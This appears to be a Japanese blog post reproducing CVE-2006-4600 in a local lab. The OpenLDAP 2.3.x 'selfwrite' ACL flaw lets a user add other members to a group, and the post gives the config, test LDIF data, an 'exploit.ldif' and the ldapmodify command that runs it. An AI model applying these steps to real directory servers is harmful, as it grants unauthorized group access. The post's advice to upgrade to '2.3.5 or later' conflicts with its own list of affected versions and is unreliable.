■
http://secunia.com/advisories/21721/
2.3系のOpenLDAP(2.3.24以前)には、ACLの脆弱性が報告されている。
selfwriteは、メンバに自身のエントリに対する追加削除のアクセス権を与えるというもの。
しかし、これが2.3系では他のメンバに関しても追加削除が可能になってしまっているらしい。対策としては、2.3.5以降にバージョンアップするべしとのこと。
ちなみに、本脆弱性は、2.3系のみで、RedHat系では2.2系が採用されているので影響がない。
バージョン2.3.23で試してみた。
ユーザによるグループへの追加。確かに、自身以外のメンバも追加できてしまう。
- openldap設定
slapd.confはこんな感じ。必要なとこだけ。
access to dn.subtree="o=example,c=jp" attr=member by * selfwrite
access to *
by self write
by users read
by anonymous auth(中略)
suffix "o=example,c=jp"
rootdn "cn=Manager,o=example,c=jp"
rootpw secret
- ツリーの作成
モデルは適当、使い方が正しいかどうか不明。
以下をsample.ldifとして保存。
dn: o=example,c=jp
objectClass: organization
o: example
dn: ou=tech,o=example,c=jp
objectClass: organizationalUnit
ou: tech
dn: cn=g1,o=example,c=jp
objectClass: groupOfNames
cn: g1
member: uid=user01,ou=tech,o=example,c=jp
dn: uid=user01,ou=tech,o=example,c=jp
objectClass: inetOrgPerson
cn: taro
sn: suzuki
uid: user01
userPassword: pass01
dn: uid=user02,ou=tech,o=example,c=jp
objectClass: inetOrgPerson
cn: kenji
sn: sato
uid: user02
userPassword: pass02
dn: uid=user03,ou=tech,o=example,c=jp
objectClass: inetOrgPerson
cn: osaka
sn: yoshiko
uid: user03
userPassword: pass03
ldapaddでスキーマ作成。
もちopenldapは起動しておくこと。
ldapadd -x -h localhost -D "cn=Manager,o=example,c=jp" -w secret -f sample.ldif
ldapsearchで確認してみよう。
user01のみがg1グループに所属しているはず。
ldapsearch -x -b 'cn=g1,o=example,c=jp' -D "cn=Manager,o=example,c=jp" -w secret
- exploitしてみる。
以下をexploit.ldifとして保存。
これは、g1グループへuser02,user03の追加を意味する。
dn: cn=g1,o=example,c=jp
changetype: modify
add: member
member: uid=user02,ou=tech,o=example,c=jp
member: uid=user03,ou=tech,o=example,c=jp
user02により、ldapmodifyコマンドでエントリ追加
ldapmodify -x -h localhost -D "uid=user02,ou=tech,o=example,c=jp" -w pass02 -f exploit.ldif
- 結果
ldapsearchで確認してみよう。
ldapsearch -x -b 'cn=g1,o=example,c=jp' -D "cn=Manager,o=example,c=jp" -w secret
結果は省略するが、user02によって、user02,user03ともがg1グループに追加されてしまっている。user02がg1グループに追加されるのはselfwriteが許可されているため、通常通りだが、user03はエラーとなるべきである。これが今回の脆弱性の問題。
もちろん、同じことを2.2系でしてもエラーになる。
参考
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4600
http://www.openldap.org/its/index.cgi/Software%20Bugs?id=4587
http://www.securitytracker.com/alerts/2006/Sep/1016783.html